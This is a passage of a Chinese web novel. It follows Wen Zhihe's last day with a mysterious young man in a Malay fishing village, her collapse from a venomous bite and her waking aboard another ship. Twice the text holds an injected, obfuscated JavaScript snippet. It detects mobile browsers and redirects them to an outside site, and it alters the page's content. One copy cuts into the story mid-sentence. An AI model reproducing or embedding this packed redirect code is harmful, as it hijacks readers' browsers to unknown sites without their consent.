虽然这个结果看上去是剪刀石头布的游戏赢来的——可对方会认这个游戏并遵守它的规则,本身便已经包含了让步。 温知和走到中途里停过一次。她仍拉着青年的手腕,转过身来倒着走,什么也没说,就是笑。 海风一直在吹。她的长头发没用发绳绑起来,就在风里微微地飘,三两缕发丝斜着遮在脸上,倒显得眼睛更亮了。 青年道,“这么走路不怕摔么?” 她想了想,“你会拉着我的吧?” 他没说话,一直在她的力道下被拉着往前走。海风里隐隐传来嗯的一声。 - 大熊星座号静静地停在一处天然港湾里。夜色低沉,四层楼高的船影子在聊胜于无的暗淡灯光里显得十分庞大。 几乎像夜里的怪物。 青年用马来语打了一个电话,然后,便到不远处守船的小木棚里拿到了一串钥匙。他一手拿着钥匙,一手过来牵温知和。“走吧。不要走散了。” 温知和注视着空无一人的黑暗大船。“诶……你觉不觉得……” “又怎么了?” “这样上去好像探险啊。” “……” “船上现在的确是空的吧?” “嗯。” “要不……” “只准拿相机。” “就在上面走走嘛!” “适可而止。” “就一会儿。” “不行。” 你一句我一句,本就不远的距离很快就走完了,两个人来到船前。青年找出一把钥匙打开了登船阶梯前的小门,牵着温知和慢慢走上去。 “注意脚下。有点滑。” “嗯。” 往上走了几步,夜色里只有脚下金属台阶的声响。 隔了一阵子,温知和听到青年波澜不惊的声音从上面传下来。“……就一会儿。” 她咬着嘴唇笑。“嗯!” 这船也不高,再走几步就到了。到处都黑漆漆的,空空荡荡,海风不停地吹,甲板上总有一阵一阵的金属摩擦声。 除了他们两个,再也没有别人。 青年拿出了手电筒,雪白的光亮在黑暗中刺出一条线,却更显得周围阴森森的。温知和下意识地捏紧了牵着她的那只手,往他身旁靠了靠。 她想了一下。“我带船上的孩子们画画,很久以前给他们出过一批主题,叫——” ——船上我最喜欢的地方。 ——如果要去船上的某个地方探险,我会选择…… ——如果真要去那个地方探险,我认为可能会发生…… 当时是为了搜集关于这艘船的信息。童言无忌,孩子们的画里能挖掘出不少东西。她据此找到了好几个特殊地点。 二楼中央的位置。孩子们总把它画成神奇的藏宝地。后来证实那是存放贵重贡品的仓库。 顶层尾端的位置。孩子们总把它画得诡异。后来证实那是审判室,凡是进去后走上被审判席的人,几乎都是有去无回。 不过,当时其实还有第三个地点……< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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温知和心里忽然像是被撞了一下,闪进来一个念头,“……你该不会不上船了吧?” 他的回应很简单,“嗯。” 她一下子就慌了。这个嗯字,为什么回应的不是前面那个什么都不会影响的问题,而是这一个?就这么一个字,忽然间所有事情好像都不一样了。 他不上船了。 难怪先前吃饭的时候他说明天不需要呆在屋子里,可以带她出去玩。 ——“明天就是最后一天了。” 可一切似乎也很自然。马德鲁说过他是太阳船的“使者”,本来就不是大熊星座号上的人。从最开始,他在船上就摆明了是个过客。 温知和脑子里一团乱麻,想说的话特别多,欲言又止好几次,偏偏最后挤出来的却只是那么一句话,“……那……谁送我回家?” 青年始终很平稳,“我会安排人的。” “那你……你要去哪里?” 他没有立马回答。隔了一阵,温知和头发上感知到一个很轻的力道。他掌心很暖,抚在她发顶上,像给小动物顺毛。 他说,“我要回去了。” 34. 第三十四章 明天过了以后,身边的青年要去那艘她从来没有见过的所谓太阳船,她得一个人回到这个地方。 这艘陈旧大船平日里总是熙熙攘攘的,这会儿却很空荡。不光是因为没有人。温知和总觉得它开始给人一种前所未有的陌生感。 甲板上再也不会出现一个手里夹着香烟却从来不抽的人,赤红的耳钉在夕阳下微微发亮。她绕着弯地想,船上的孩子们一定会有点不习惯吧。 青年的声音响起来,“不是要在船上走走么?” 船上没亮灯,只有手电筒,谁也看不见谁的表情。 温知和把声音收拾得平稳,“噢。走啊。” 甲板上响起两个人的脚步声。一下,一下,都不快。温知和已经没心情了。 可是,这也说不定是最后一次和他一起走在这里。 青年拿着手电筒,窄窄的光在黑暗里划出一道。明明是用来照明的,却又好像一道摸不着的墙,她在左边,他在右边。 温知和从前行走在大熊星座号的走廊上,人总是很多,时不时就要让一让,或者被周围人的状况吸引目光,脚步便慢下来。从一头走到另一头,会感觉特别漫长,走很久才能走到。 可是今天竟很快就走完了。 甚至还没来得及说一句话。是在手电筒光里看到尽头处生锈的金属栏杆,她才意识到这一路有多沉默。 青年道,“上楼去拿相机么?” “噢……好啊……” 她的房间就在这附近。 走进去,窗玻璃依然是坏的,满地狼藉,都是那个暴风雨之夜的遗迹。她把相机收存得很小心,是在墙上挂着的一个密封的大柜子里,里面有个匣子,打开一层又一层起防护作用的布,巴掌大的相机完好无损。 温知和把它拿在手里,细细的挂绳小心套在手腕上。一抬头,青年站得很近。房间里的这条过道太狭窄了。朦胧的黑暗里,两个人身体之间的距离,或许还不到一指宽。 她低着头便要往外走。地上太狼藉,都是尖锐的碎玻璃,抬腿时要很小心。一落脚,恰好便在他脚旁。 她站稳时几乎就在他怀里。 青年抬手拉住了温知和的手腕,力道不轻不重。“小心一点。” 她没有说话,看了看手腕上肌肤相触的地方,又抬起眼来看他。 他好近。 因为要看着她,所以微微低了头,碎发有点遮住眼睛。下颌线条漂亮得像造物神的艺术品。 她不自觉地更靠近了一点。只是一点点而已,身体微微前倾。他握在她手腕上的力道微微收紧。 眼下室内若是有灯光,两个人落在地上的剪影会像极了亲吻的前兆。 吱——呀—— 船一直摇晃着。 温知和像是忽然回过神来,一下子移开视线,轻快地往旁边退开一步。很小的一步,但足以让氛围回归到正常状态。 青年松开了手,手电筒光转向几步之外的房间出口。声音仍是那种漫不经心的样子,好像刚才什么也没发生过,“走吧。” - 温知和在被子里翻了个身,木床在黑暗里发出一声吱呀的响。 夜已深了。 周围极安静,这小房间窄窄的,还有点闷,好像漂浮在世界里的一只小箱子。她躺在里面,无论如何也没有睡意。 她轻轻扬起头,视线落在床头那面墙上。看,自然是看不清的。隔着那面看不清的墙,有一个人就在隔壁房间里。不知他是不是睡了,那边一点动静也没有。 ——这样的情景,和昨天晚上几乎一模一样。 可那时候心里是雀跃的,有点到了陌生地方的新鲜感,小孩子心性一发作,还往那面墙上不停地敲,惹得他下了床来找她。 今天却只有沉默。 温知和伸手去碰那面墙。就一根手指,轻轻地,从凹凸不平的砖面上划过。一点声响也没有。也许沿着那个方向,在距离她指腹不到三十公分的位置,他就睡在那儿,微微自然卷的黑发在深夜里有一种柔软,三两缕碎发斜落在脸上,被沉睡时的气息吹动,几不可见地起伏。 他应该确实是睡了。 他说过他很少有睡不着的时候。 温知和又翻了个身,不自觉地呼出一口气。气息是几不可闻的,寂静的黑暗里,只有床板的吱呀声响。 她这会儿面朝着窗户。外面是寂静的村落,灯火稀疏,天上能看见一轮皎洁的月亮。等这月亮同时针一起从天上划过一圈,再次出现在同一个位置……二十多个小时后,她就已经在大熊星座号的船舱里了,那时它早已离开阿甲村的港湾,在辽阔海面上走了几个小时,会离这里相当遥远。而那个现在只隔了一堵墙的人,就不知道会在哪里了。 也许他还在这里。就在和现在一模一样的位置。 也许他也走了。登上一艘她没有见过的船,与大熊星座号一个往南,一个往北,拉开越来越远的距离。 ——总之以后应该就见不到了。 温知和一下子拿被子蒙上了头。这个夜晚有点难捱,偏偏又希望它永远不要过去。 - “早。” “……早。” 温知和一清早打着呵欠下楼的时候,青年已经坐在客厅里了。桌子上还有早点,都还热着。她是临近天亮才迷迷糊糊睡了一会儿,他大概就是在那么一小段时间里起的床。 她拉开椅子坐下,只觉得半个灵魂还在床上。东西拿起来吃了,却没尝出什么味道。 青年没陪她吃饭,在不远处客厅沙发上看杂志。听见有人一声连着一声地打呵欠,他也没抬头,说,“怎么不多睡一会儿?” “太阳已经出来了……” “关上窗帘就好了。” “不是光的问题啦,”她又啃了一口手里的饼,“时间也不早了嘛。” 人太困的时候说话会有点瓮声瓮气的,连带着句末都有点拖沓,总要有个气息往下掉的语气词。 青年听着有点想笑,合上手里的杂志抬头看了过来,“你刚才说什么?” “……啊?” “再说一遍。” “就是啊……那个,不是光的问题啦……嗯……时间也不早了嘛……唔……” 温知和脑袋沉甸甸的,不自觉地往下点了点,再一抬头,前面的光全没了,被一个修长的身形遮住。也不知道他是什么时候走过来的。 青年道,“真的不睡了?” “嗯……” 他拖了椅子在她身边坐下,也没说什么,就看她吃东西。 她吃得很慢。吃完了,把空袋子放下,自己扯了纸巾擦干净手,每一根手指都擦得很仔细。然后就坐着,双手交叠,很老实地放在膝盖上。也许是因为困,微微低着头,看上去格外乖巧。 青年朝这边倾了倾身体。目光落在她脸上,仿佛是想记住些什么。 因低着头,温知和的眼睛被斜刘海遮住了些。就在那后面,她眼睛轻轻一动,也瞅着他。她像是在做什么小动作,好像藏在发丝后面他就看不见了似的。 青年伸出修长的手指,轻轻地,把那几缕头发朝一边拨开,把她眼睛露出来。仿佛是在开门。 他说,“走么?” 明明他把后面的阳光都遮住了,她却像见了强光似的,眼睛闪了闪,特意往旁边看。“行啊……” 他笑了笑,摸了摸她的头发,起身去开门。他没有牵她。 大门吱呀打开,九月的热带阳光依然有着灼人的温度,外面的街巷已经热闹起来。他走在前面,还是没有牵她。 温知和往前走了两步,和青年并排。起初是把手背在后面,然后渐渐松开,垂在身体两侧。因走路动作,靠近他的那只手时不时便会碰到他。 一次。 两次。 到第三次,掌心忽然一暖,他握住了她的手。手指一动,再合拢,十指相牵。一阵悸动,从肌肤相贴的地方蔓延上来,直到心脏的位置。 就这么往前走了挺久,谁也没说话。 直到一条街到了头,温知和才佯装抬头往天上看,说,“天气真好啊。” “嗯。” “我们要去哪里?” “不是什么特别的地方。”他说,“就当是随意走走吧。” “好呀。” 暖洋洋的太阳洒在身上,他牵着她手的动作很轻柔。绕过一处拐角,恰好正对了太阳,有点刺眼,温知和下意识地闭了眼睛。 这刹那间,周围那个贫瘠古怪的马来村落好像不见了。没有粗野的异乡,没有四伏的危机,没有神秘的故事,什么也没有,只有他牵着她的手,如此温暖。 她忽然觉得,如果是在学校里就好了。 ——温暖的阳光洒在塑胶跑道上,这个时间点,应该是要去上课。牵着手走一路,到了教学楼底下,各自去各自的教室,约好一个半小时后在外面的树底下再见。 ——她会坐在教室里认真上课。她成绩很好,上课一向算是很认真的。但一节课一个半小时,偶尔也难免走走神。她会望向窗外,那棵大树绿影森森,树叶在阳光下发亮。然后她就会想他。 ——想他牵着她手的温度。 像这样的错觉,也不过持续了几秒钟。周围人声吵嚷,听不懂的马来语在空气里此起彼伏,时不时还有搬运货物的声音。 青年的声音在身旁响起,“闭着眼睛走路容易摔。” 温知和睁开眼睛,周围仍是异国他乡,破落的村庄散发着粗犷难驯的气息,热带地区的九月依然闷热,天空万里无云。 她转头去看他。 即使只看剪影轮廓,青年的侧影也相当漂亮。哪怕背景不过是这么一个地方。 他的眼睛正看着前面。那是一双很出众的眼睛,里面永远有一种光亮,清晰,明确,让人知道它的主人是一个心性坚韧,灵魂边缘有棱角的人。 她视线往下移,落在他 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孩子们大多不懂英文,只能笑盈盈地看着她,马德鲁道,“嘿嘿,我们已经换了很多好东西呢。” 他拉过一个麻袋,扯开口子给她看,里面乱七八糟的什么都有。有剪刀、香皂、杯子、蜡烛一类的生活用品,也有草编动物、贝壳环一类纯粹拿来玩的东西。甚至还有一个玩具轿车,虽然很旧了,但在这里依然是稀罕东西,马德鲁特意拿出来给温知和看,很炫耀。 温知和拿出相机,“别动,就保持这个姿势。” 马德鲁还没反应过来,咔嚓,相机里已留下了阳光下他咧嘴笑拿着玩具车的一幕。他诶诶地叫着,拿了相机过去看,喜欢得不行。是张好照片。十二岁少年的天真和快乐在屏幕上定格。 其他孩子看了也想要,缠着温知和拍了一张又一张,单人照、集体照,还有要和她一起拍的。她为了到处找角度,好几次踩进了过膝的草丛。浓密的叶子从她皮肤上划过。 太阳越升越高,街面上的人渐渐多了起来,时不时便有人过来看他们这里卖什么。马德鲁叽里咕噜巧舌如簧,但小生意并不好做。 温知和把照片调出来,给孩子们从头到尾看了一遍,又道,“阿甲村有洗照片的地方吗?” “啊?什么?” 马德鲁听不懂什么叫洗照片。他没学过那个英文词组。 温知和解释说,“就是把照片在纸上印下来,这样大家每个人都可以拿到。” “噢!我知道的!”他念了一个马来词,“我们这边是这么说的,我以前好像见过那种地方。呃……不过这边是没有啦……我们阿甲村不是很大……” “对啊,马德鲁是在这里长大的来着。” “哈哈是啊,我会走路以后才和姐姐一起上的船。所以这里算是半个,嗯……家乡?” “马德鲁喜欢这里还是喜欢船上?” “现在当然是喜欢船上啦,而且,只有在船上的人才有机会去太阳船嘛,”马德鲁顿了顿,像是回忆着什么,“不过要说最喜欢的……我喜欢以前的阿甲村。” “以前和现在不一样吗?” “很不一样呀,特别不一样。那时候我们这里特别小,就十几家人,有时候家里大人出去捕鱼了,姐姐就带我去隔壁家吃饭……嗯……不知道是不是太小了不太记事……总觉得那个时候……特别安静……” 听上去,那就是个与世无争的小村落。 ——是个“正常”的小村落。 温知和不由偏过头去,看向现在的阿甲村。它规模算是不小了,几乎像个小型城镇,房子也建了一座又一座,挨挨挤挤的沿着道路铺排到远方。 但它不是一个“正常”的地方。她不通这里的语言,闹不明白背后究竟藏着什么,可只一个现象——这里没有女人、没有孩子也没有老人,只有壮年男人——便足以说明整个村落现在不仅不宜居,而且相当危险。 她不自觉地压低了声音,“后来……发生了什么吗?” “不知道诶,”马德鲁的音量倒是没变,只是挠了挠头,“不知道怎么回事,反正后来海上就有船了。大家陆陆续续都上了船……嗯……然后村子就变了,现在这里基本上都是陌生人……”他叹了口气,“我家以前好像就住在这附近,不过,房子已经被他们铲掉了……嗯……也可能是我记错了位置。” 外界的异象、秘密的酝酿,孩子什么也不清楚,只知道生活环境变了。 嗡嗡一阵响,有虫子飞过。 蚊虫在这里到处都是,大家早就习惯了,一个才七八岁的孩子踮起脚来一挥手,它也就飞走了。 又有人来摊子上看东西,温知和不想打扰他们的生意,叮嘱几句让他们注意安全,便道别了。 是在这个时候,她忽然觉得腿上有点痒。低头往下一看,小腿肚上有一抹红肿,不太显眼,颜色淡淡的。 或许只是个蚊子包。 35. 第三十五章 温知和拎着相机走到约定的树底下时,青年正在打电话,树叶影子落在他脸上,随风摇摇晃晃的。 他抬眼看她,修长的手朝她伸过来,她却没有去接,反倒是把相机拿起来,笑盈盈地朝他按了快门。 照片捕捉到了他脸上那抹转瞬即逝的纵容。 温知和低头看相片,青年继续打电话,讲的是马来语,声音里没什么情绪,一直都很平静。他一向有他自己的事,她没打算问电话的具体内容。 等他电话挂了,她才把相机递过去。“你看!” 那依然是一张好照片。虽然是随手拍的,构图、光影都不算上乘——但模特太出挑。CCD的画质有一种独特的模糊感,仿佛又给他上了一层悠远的滤镜。 青年没说什么,只是嗯了一声。 温知和关了相机,眼睛直直地瞅着他,指指他揣在口袋里的手。青年与她对视几秒,笑了,把手拿出来伸向她。她把手放在上面,被他轻轻握住。 两个人从树荫底下走出去,回到街面上的阳光里。周围已经相当热闹了,人很多。烟火气是有的,但更多的是戾气。好在有青年在这里,倒也没人凑上来打扰。 他带着她走出阿甲村,到了海岸附近的一座小石山上。说是山,也许并不贴切,可能更像是小石堆,不过二三十米高。 爬到顶上,世界像一分为二,后面是乌黑色调的阿甲村,前面就是一望无尽的大海,平静的蔚蓝色,一阵一阵地被近岸处的白色海浪拨开。 温知和找了个平坦的地方坐下,深深呼吸着这上面的空气,张开双手,感受风的气息。海鸟高鸣一声,从她头顶上方飞过。 青年望着海的方向,“景色怎么样?” “很好啊,”温知和说,“特别好。” 他顿了顿,才说,“我以前常来这里。” “你在阿甲村长住过?” “这边离大陆很近,我在这里安顿过一阵子。”他说,“有时候心情不好,会来这些石头上坐一坐。” 听他这么说,她打量起周围的环境。非常普通的小石堆,唯一的好,是离人群聚集的地方够远,能让心有休息的感觉。 也许这里曾经是他一个人的小天地。现在,他带她来这里。 温知和坐的地方有点靠近边沿,青年在她身边坐下,手放在她另一侧,像一道天然的栏护。“小心一点。” 她侧过脸去看他。他左耳下的那枚赤红耳钉近在眼前,闪烁着阳光。青年平时说话做事都给人一种悠缓的感觉,这抹赤色,像极了不经意泄露的锋芒。 “哎。”她叫了他一声。 “怎么了?” “到现在也不能告诉我你的事情吗?” “什么事情?” “就比如说,你为什么会离开国内,为什么会到马来,为什么……” 会到这么一个奇怪的地方。 ——而且还成了其中的一员,似乎身居高位,暗中与人有各种各样的争斗。也不知为的是什么。 这些话,温知和问的时候就有点没底气,一直盯着面前的小石头。 而他也果然没有回答。等她话音落了,他就说,“没什么特别的。讲起来也没什么意思。” “好吧……”她只能这么回。 这会儿,她又开始觉得小腿肚上有点痒了,不自觉地贴近石头,稍微蹭了蹭。石头一直被阳光直照着,贴上去,皮肤上微微有点烫,痒就缓和了。 她一面继续说话,一面往腿上瞟了一眼。皮肤上没什么异常,连先前的小蚊子包也不见了。 “几点了?”她问。 青年答这问题的时候看的不是表,是太阳的位置,“十点一刻。” “……大熊星座号是什么时候走?” “晚上九点启程。估计五六点就开始登船了。” “噢……” 温知和在心里算了一下。也就是说,只剩下七八个小时了。 ——身旁的这个人,只能再见七八个小时了。 她仰头去看天上。天气这么好,多看看风景心情就会好起来,什么都不会多想。 ……什么都不会多想。 只要高高兴兴地把这七八个小时过了,一切成了定局,事情就算过去了。只需要在大熊星座号上等着,很快就会有人送她回家。一切都会回到原先的轨道上。 温知和一直低着头不说话。 青年道,“困了?” “……啊?”她顿了顿,“没有。” “这里也很适合午睡。困的话可以靠着我。” 她说,“不困就不能了么?” 青年也笑了一下,低声道,“也可以啊。” 她仍瞅着前面的石头,一秒,两秒,三秒。然后,若无其事地把脑袋歪过去,触碰到了他肩膀。很试探的,动作又很慢。两个人中间依然有好空的一段距离。 青年在她身侧的手放上她的腰,稍一用力,便把她整个人揽进怀里,消除了那段距离。她被他的温度环绕,听见他在头顶上方的笑。 她自己也笑了。 明明几分钟前还在为了即将到来的离别伤怀,一靠近他,好像又什么都忘了。 腿上的痒也消失了。 青年道,“昨天几点睡的?” “呃……” “三四点还听见你在那边翻来翻去。” “不好意思……吵到你了么?” “没有,”他说,“我没睡。” 可是他那边一直很安静来着。她那时以为他早就睡熟了。 温知和道,“那你在干什么?” “我在……” 他没说了。 本来她也只是一问,他要是说在看书、在写东西,这问题也就这么过了。可他不说,反而勾起了她好奇心。“在干什么呀?” 青年一如往常,毫无铺垫地说起其他事情,“你中午想吃什么?” “你昨天晚上在干什么?” “有一家店里有米饭。” “你昨天晚上在干什么?” “就去那家店好了。” “剪刀石头布吧,我要是赢了你就告诉我。” 她一边说一边还戳他,青年没法装作没听见,“又来?” “怎么样!三局两胜。” “要是我赢了呢?” “那你就不用说了呗。” 她圈起袖子,把参战的手伸到他面前。他不动。她干脆把他闲着的那另一只手从口袋里捉了出来。 “……” 他有点不情愿,懒懒的,五指摊开,连着出了两个布。 可是,很不巧。 温知和兴致勃勃,偏偏出的就是拳头握得最紧的石头。 “怎么会!!”不等青年说什么,温知和拦住他正要收回去的手,“再来!” “为什么?” “因为我没赢啊。”她说,“再来,再来,三局两胜。” “我要是又赢了呢?” “那你就又不用说了。‘ “……” 这一次,她几乎是拽着他的手来的。她一心要赢,脑子里飞过各种各样的战术,盯着他的手,仿佛试图勘破些什么,好算出他会石头、剪刀还是布。 青年倒是慢悠悠的。 偏偏他又赢了。干净漂亮,又一个二比零。 温知和很镇定。“再来。” “直到你赢为止?” “是啊。” 非常理直气壮的回答。 青年笑起来,揽着她腰的手微微收紧,说话时低着头,离她更近。“这个游戏不公平吧。” “对我来说很公平。” “好吧,”他说,“我在想你。” 温知和隔了三秒才意识到这句话是对那个问题的回答。心脏像是漏了一拍,因为,被忽然之间涌上来的暖流占住了。 ——我在想你。 就在隔着一堵墙的距离。 温知和又不说话了。脑袋一直低着。青年的手抚上她的头发。她的呼吸就扑在他脖颈间,温热的,一阵一阵。 两个人之间的那层窗户纸像是破了一些。可外面涌进来的不是光,只有浓重的暗。因为没有未来。 温知和很想问青年一个问题,可是,又已经知道会得到什么回应。那样的话,薄薄的窗户纸便会再次被坚硬的铁封上,什么都没有了。 那么,倒不如沉默下来,至少能把此时此刻的气氛再延长一些。 再一些。 太阳渐渐高升了。 青年低声说,“睡着了么?” “……没。” “嗯。” “那个……” “怎么了?” 她又很想跟他说一句话。可是,又觉得,好像连这句话能得到的回应也是可以预见到的。要是说了,反而什么也没有了。 于是只说,“……没什么。” 声音有点嗡嗡的。 青年也并不多问,只是嗯了一声。 温知和盯着地上的石头。像这样看着别处被他抱着的时候,他那么近,身上的温度令人眷恋。 可是—— 她轻轻抬头看向他侧脸。他的剪影轮廓在阳光下相当耐看,深棕色的眸子里有一种沉静。像这样看着他的时候,他反而显得很遥远。 她想问的那个问题是:你能不能不要走? 但他一定会走。 她想说的那句话是:我很喜欢你。 但他一定不会有回应。 他们是在火车上遇见,他们之间的关系也像极了一列火车。其实终点站早就过了。现在仍在平原上四处漫游,甚至越走越远,不过是蒙着眼睛,假装不知道这一切都是——脱轨。 温知和把话题岔开,仿佛什么也没有发生过,用一些寻常、无聊但又能一直持续下去的话填补着心里越来越多的空白。 - 一整天很快就过去了。阿甲村并没有什么好玩的地方,除了海,还是海。 海浪声声。那声响听着明明和早晨间一模一样,眼下却是日已西斜。 温知和同青年一起回去的时候,阿甲村的村口早已是人来人往的模样,船民们搬着货物,陆陆续续都要回去了。 戴尔蒙徳管事打着呵欠守在门边的小木桌后面,登记着出去的人。 青年把温知和带过去。 “噢,回来了。”戴尔蒙徳管事抬眼看了看温知和,在名字簿上画了一个勾,“没什么东西要拿的话就可以过去了。” 流程就这么简单。 温知和嗯了一声,却没动。青年牵她到一旁的树底下去,避开了人群。夕阳斜照,树叶影子落在他脸上,有些摇摇晃晃的。这幅景象与早间有些相似。 ——但那时还早呢。现在已不一样了。 青年望着她,道,“那么,就这样吧。” “……” 他揉了揉她的头发。“还有什么想说的吗?” “……没有。” “嗯。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14090865|147201||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他慢慢地松开了手。热带地区的十月依然闷热,可就在那一瞬间,风吹过来,温知和还是觉得之前被他握着的地方空下来,有一阵凉意。 她微微低着头,长发垂落,刘海有点遮眼睛。在那后面,她眼睛轻轻抬起来看着他。早上她也这样看过他,那时他眼里含着笑,伸出手指拨开发丝,像开了门,又同她说话。 但此刻,他什么也没有做。双手插在裤兜里,望着她的那双眼睛一直很平静。 温知和几不可见地说了一声再见,转身,走了一步。又停下脚步回转过来。他还在那里。 夕阳真美。 青年站在树下,一直看着她。 她一向喜欢摄影。每次看到漂亮的画面,总是想用镜头保存下来。可这刹那间,她脑子里没有半点那样的想法。 只觉得想哭。 青年轻声道,“怎么了?” “那个……”温知和顿了顿,“祝你……顺利。虽然不知道……” 不知道他到底是要做什么,不知道他有什么计划。 不知道他的背景来历。 甚至……不知道他的名字。 青年垂下眼睛,似乎想了些什么,但再抬眼时,只说,“……谢谢。” 他的赤红耳钉在夕阳里微微发亮,脖颈下的疤痕像一根根将人套牢的绳索。温知和提了一口气上来,不知怎么的,有一种冲动,想要朝他走过去。 可就在这时候有人来叫他。几个肤色各异的外国男人,穿着、气质、谈吐,与平日里在大熊星座号和阿甲村见到的当地人有明显的不同。 看上去像是……青年那边的人。 他们讲的甚至是英文。见了温知和在旁边,出于礼貌,还跟她说了你好。几个人交谈起来,显然是有正事要说了。 青年抬起手腕看了一眼表上的时间,最后一次把目光放在温知和身上。他笑了一下。“去吧。” 她轻轻点头。朝他挥了挥手。然后,转身大步大步地走了。一。二。三。四。没忍住,假装是看天上的太阳,又回头看。 他已经不见了。 夕阳里,大树底下空无一人。树叶在风里发出窸窣声响,地上的影子摇摇晃晃。 她忽然觉得头有点晕。 “嗯?需要什么帮助吗?”戴尔蒙徳管事口音怪怪的英文在身后响起。 温知和后知后觉一转身,才发觉自己已经走到了人挤人的村口,旁边就是戴尔蒙徳管事的小木桌子。 她手撑在桌子上,缓了一阵。 “水?” 戴尔蒙徳管事递来一瓶没开过的矿泉水。温知和道了谢,接过来,却扭不开瓶盖。手上有点无力。 戴尔蒙徳管事没怎么留意,随手把水又拿过去给她开了。 “谢谢……” 她从喉咙里发出声音,接过水,咕噜咕噜就喝了小半瓶。再喘几口气,好像就好多了。至少头没那么晕了。 这时,温知和在身后听见低低的鼻子抽气的声音。转头一看,是马德鲁。他背上背着个装满了的大麻布袋,低着头在戴尔蒙徳管事那里登记,嘴唇死死地咬着,有一种快要哭出来的了神情。 “马德鲁,怎么了?” 孩子用手背在嘴上抹了一下,嗡嗡地说,“没事……” 温知和道,“你背上东西重不重?我帮你拿吧。” 他又摇摇头。 戴尔蒙徳管事也注意到了孩子的异常,但排队登记的人很多,一时也腾不出手来,只是拍了拍他的脑袋,用马来语说了些什么。 马德鲁就听着,既不抬头,也不回答。登记完了,他丢下笔,觅着头就在人群里往前走。温知和几步跟上去。 奇怪。就跑了这么一下,她的脑袋又开始晕了。小腿肚子上传来一阵异样的感觉。她忍着不适,“马德鲁。” “……晚上吃什么好呢?” “嗯?” 马德鲁显然在扯开话题,不想跟人谈论他现在的状况,“听说今天晚上有千层糕呢……” 温知和发觉自己开始跟不上他。周围人还是那么多,夕阳正在逐渐变淡,人们的影子越来越长。她眼前有点花。 “唔……” 喉咙里发出不适的声音。温知和停下脚步,身体弓下去,手勉强撑在膝盖上,支撑着身体。天旋地转。 马德鲁在前面走了一阵,察觉到身边的人不见了,一转身才发觉温知和远远落在了后面。孩子一路跑回她身边。 “叽和老师?叽和老师?” “我好像……有点晕……” “我扶你走吧。” “谢谢……” 温知和在马德鲁的搀扶下往前走了一段。头晕的感觉有时会好一些,仿佛刚才的一切都是错觉。可过不了多久便又会恢复原状。 晚风迎面吹来,耳边的海浪声越来越清晰,海边近了。大熊星座号停靠在岸边。夕阳的余光已经很淡了,船的模样有些看不清,只是个巨大的剪影。 好像有人在拍她的手臂。直到这时她才发觉马德鲁一脸着急,一直在对她说些什么。可是什么都听不清。耳边的声音全都模糊起来了,只剩下一阵一阵的海浪。 不。那不是海浪,是耳鸣声。 她慢慢蹲下身去。低着头,模糊的视线落在先前那个起过“蚊子包”的小腿肚上。就这么几分钟,那里已经变得一片青紫。皮肤也肿胀起来。 “叽和老师。” “叽和老师!” 温知和眼前一黑,失去了意识。 36. 第三十六章 头很沉。半梦半醒间,温知和听见很多声音。有海浪声,还有人声。 起初,大多是叽里咕噜的马来语,有的着急,有的平静,但都听不明白。越听越困。 腿上有刺痛感。像涟漪一样,一阵,又一阵。然后就麻木了。 接着,那些嘈杂的人声里时不时地出现了英文。离她很近。 …… “情况的确很危险……这种虫子的毒性……” “……需要医疗设备。这个村子根本……” “不,不行。我们为计划准备了这么久,不能出现意外因素……多带一个人上船就增加一份风险……” “不能再拖下去了。只有太阳船……” “但是如果……” “为了把她送回外界已经费过周折了。如果被发现……他们会提高警惕……” “她本来就是一个和我们无关的意外。” “时间不多了。” “……” “……” “做决定吧。” 额头上隐约传来一阵温暖的感觉,像是谁皮肤上的温度。 …… 温知和在黑暗里睡了很久,渐渐地,感觉到了一阵亮光。即使没有睁开眼睛,隔着一层眼皮,那种光亮也相当强烈。 耳边有仪器滴滴滴的声响。 伴着逐渐清明的意识,她慢慢睁开眼睛。 有点恍惚。 周围环境陌生得让人以为是在做梦,房间很宽敞,整体色调是白茫茫的。大理石地面干净得反光,墙上贴着米色墙纸,各式设备都很现代化,显然造价不菲。 她目前睡的这张床柔软宽敞,床头微微调高。身上穿的也不再是船上先前发的粗布衣服,而是触感柔软的丝质睡袍,很新。被子只盖了一半,小腿露出来,上面包了纱布。 在时代感古早的大熊星座号上待久了,忽然到了这样一个地方,简直有时空穿越的错觉。 ……是医院吗? 房间里没有别人。 温知和转头往阳光最强烈的地方看过去。隔着一层干净剔透的玻璃,外面仍然是无边无际的蔚蓝大海。天气很明媚,云彩丝丝缕缕地浮在天上,像海里打翻了一盒新鲜奶油。 应该还是在一艘船上。但这艘船航行得相当平稳。 滴滴。 房门外忽然传来开密码锁的声音。温知和看过去,恰好与开门的医生对上视线。对方仍是马来人的长相,一身白大褂,带着听诊器,此前根本没见过。 她有点戒备。 医生的手撑着门,下一刻,一个熟悉的身影走了进来。青年一身裁剪得当的黑西装,打着条纹领带。这身装束比从前正式不少,几乎像是换了一个人。唯有左耳下的那枚红耳钉仍隐约透露着野性。 对上她微微睁大的眼睛,他的视线在她脸上停顿一阵,但什么也没有说。 他和医生走到床边,后面还跟了一个护士。床边的仪器上显示着温知和的各项身体数据,护士在一旁低头记录着。 医生同青年交谈起来。 温知和乖乖地躺在被子里,转头去看窗外的风景。头还是有点晕。腿肚子上的某个位置一直有点疼,不过还在忍受范围内。 滴滴。滴滴。仪器一直在响。 不多时,医生应该是说完了,拍了拍护士的肩,两个人一起出去了。只剩下青年还在这里。 他把西装外套脱下来,挂在床边的椅子背上,“感觉怎么样?你睡了一天半。” “嗯……还好?”像是很久没开口说过话似的,温知和嗓子有点哑。她清了清嗓子,又说一次,“还好吧。” 